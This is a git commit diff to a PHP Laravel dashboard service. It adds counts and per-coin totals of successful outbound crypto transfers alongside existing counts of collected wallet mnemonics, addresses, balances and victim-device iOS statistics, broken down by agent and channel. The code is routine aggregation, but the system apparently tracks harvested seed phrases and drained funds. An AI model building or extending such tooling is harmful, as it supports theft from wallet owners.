feat: scan
This commit is contained in:
@@ -4,6 +4,7 @@ namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -37,6 +38,8 @@ class DashboardStatsService
|
||||
* mnemonic_count: int,
|
||||
* address_count: int,
|
||||
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
|
||||
* transfer_count: int,
|
||||
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
|
||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||
@@ -102,6 +105,14 @@ class DashboardStatsService
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
[$transferCount, $transfers] = $this->transferStats(
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
@@ -193,6 +204,8 @@ class DashboardStatsService
|
||||
'mnemonic_count' => $mnemonicCount,
|
||||
'address_count' => $addressCount,
|
||||
'balances' => $balances,
|
||||
'transfer_count' => $transferCount,
|
||||
'transfers' => $transfers,
|
||||
'by_os' => $byOs,
|
||||
'by_ios_version' => $byIosVersion,
|
||||
'by_device_ios_version' => $byDeviceIosVersion,
|
||||
@@ -320,6 +333,76 @@ class DashboardStatsService
|
||||
return [(int) ($row?->addr_count ?? 0), $out];
|
||||
}
|
||||
|
||||
/**
|
||||
* Successful outbound transfer count + per-asset sums in the selected range.
|
||||
*
|
||||
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
|
||||
*/
|
||||
private function transferStats(
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
string $channelId,
|
||||
bool $channelExact,
|
||||
Carbon $from,
|
||||
Carbon $to,
|
||||
): array {
|
||||
$q = TransferRecord::query()
|
||||
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
|
||||
->whereBetween('transfer_records.created_at', [$from, $to]);
|
||||
|
||||
if ($agent !== null || $agentUserId !== null || $channelId !== '') {
|
||||
$q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
|
||||
$sub->selectRaw('1')
|
||||
->from('wallet_addresses')
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->whereColumn('wallet_addresses.address', 'transfer_records.from_address');
|
||||
|
||||
$scopedIds = null;
|
||||
if ($agent !== null) {
|
||||
$scopedIds = AgentScope::channelIdsFor($agent);
|
||||
} elseif ($agentUserId !== null) {
|
||||
$scopedIds = AgentScope::channelIdsForUserId($agentUserId);
|
||||
}
|
||||
if ($scopedIds !== null) {
|
||||
if ($scopedIds === []) {
|
||||
$sub->whereRaw('1 = 0');
|
||||
} else {
|
||||
$sub->whereIn('devices.channel_id', $scopedIds);
|
||||
}
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
if ($channelExact) {
|
||||
$sub->where('devices.channel_id', $channelId);
|
||||
} else {
|
||||
$sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
|
||||
? 'CAST(transfer_records.amount AS REAL)'
|
||||
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
|
||||
$rows = (clone $q)
|
||||
->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
|
||||
->groupByRaw('UPPER(transfer_records.asset)')
|
||||
->get();
|
||||
|
||||
$coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
|
||||
$count = 0;
|
||||
foreach ($rows as $row) {
|
||||
$count += (int) $row->cnt;
|
||||
$col = strtolower((string) $row->asset);
|
||||
if (! isset($coins[$col])) {
|
||||
continue;
|
||||
}
|
||||
$formatted = WalletAddress::formatAmount($col, $row->total);
|
||||
$coins[$col] = $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
return [$count, $coins];
|
||||
}
|
||||
|
||||
/**
|
||||
* Map telegram /data day token to dashboard range key.
|
||||
* Empty / omitted → today.
|
||||
|
||||
Reference in New Issue
Block a user